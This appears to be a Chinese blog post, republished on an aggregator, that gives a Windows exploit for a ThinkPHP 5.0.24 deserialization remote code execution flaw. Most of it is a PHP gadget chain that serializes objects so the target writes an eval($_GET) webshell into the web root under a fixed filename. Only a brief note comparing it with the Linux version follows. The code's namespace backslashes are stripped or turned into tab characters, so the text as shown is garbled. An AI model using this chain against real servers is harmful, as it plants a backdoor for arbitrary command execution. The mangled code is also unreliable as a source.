zoukankan      html  css  js  c++  java
  • ThinkPHP 5.0.24 反序列化RCE (Windows下EXP)

    直接上exp吧,Windows下。

    <?php
    namespace thinkprocesspipes;
    class Windows
    {
        private $files = [];
        public function __construct()
        {
            $this->files = [new 	hinkmodelMerge];
        }
    }
    
    namespace thinkmodel;
    use thinkModel;
    
    class Merge extends Model
    {
        protected $append = [];
        protected $error;
    
        public function __construct()
        {
            $this->append = [
                'bb' => 'getError'
            ];
            $this->error = (new 	hinkmodel
    elationBelongsTo);
        }
    }
    namespace think;
    class Model{}
    
    namespace thinkconsole;
    class Output
    {
        protected $styles = [];
        private $handle = null;
        public function __construct()
        {
            $this->styles = ['removeWhereField'];
            $this->handle = (new 	hinksessiondriverMemcache);
        }
    }
    
    namespace thinkmodel
    elation;
    class BelongsTo
    {
        protected $query;
        public function __construct()
        {
            $this->query = (new 	hinkconsoleOutput);
        }
    }
    
    namespace thinksessiondriver;
    class Memcache
    {
        protected $handler = null;
        public function __construct()
        {
            $this->handler = (new 	hinkcachedriverMemcached);
        }
    }
    namespace thinkcachedriver;
    class File
    {
        protected $tag;
        protected $options = [];
        public function __construct()
        {
            $this->tag = false;
            $this->options = [
                'expire'        => 3600,
                'cache_subdir'  => false,
                'prefix'        => '',
                'data_compress' => false,
                'path'          => 'php://filter/convert.base64-decode/resource=./',
            ];
        }
    }
    
    class Memcached
    {
        protected $tag;
        protected $options = [];
        protected $handler = null;
    
        public function __construct()
        {
            $this->tag = true;
            $this->options = [
                'expire'   => 0,
                'prefix'   => 'PD9waHAKZXZhbCgkX0dFVFsnYSddKTsKPz4',
            ];
            $this->handler = (new File);
        }
    }
    echo base64_encode(serialize(new 	hinkprocesspipesWindows));
    

      会直接在根目录下生成一个shell。

      名字:8fba8bb6410a4aee90b063a8b7e78b73.php

      内容:

      

      相对liunx 的exp有什么不同呢?

      就是去:thinkphp/library/think/cache/driver/Memcached.php 类的 set 方法转了一圈。

      利用的挺巧妙地。

      参考链接:https://xz.aliyun.com/t/7310

  • 相关阅读:
    ASP.Net Core -- 模型验证
    C# -- nameof什么意思?
    C# -- value是什么意思?
    C# -- 异常(二)
    C# -- 异常(一)
    C# -- 委托(二)
    C# -- 委托(一)
    ASP.Net Core -- Controller返回View
    ASP.Net Core -- 中间件
    ASP.Net Core -- 服务注册和管道
  • 原文地址:https://www.cnblogs.com/xiaozhiru/p/12452528.html
Copyright © 2011-2022 走看看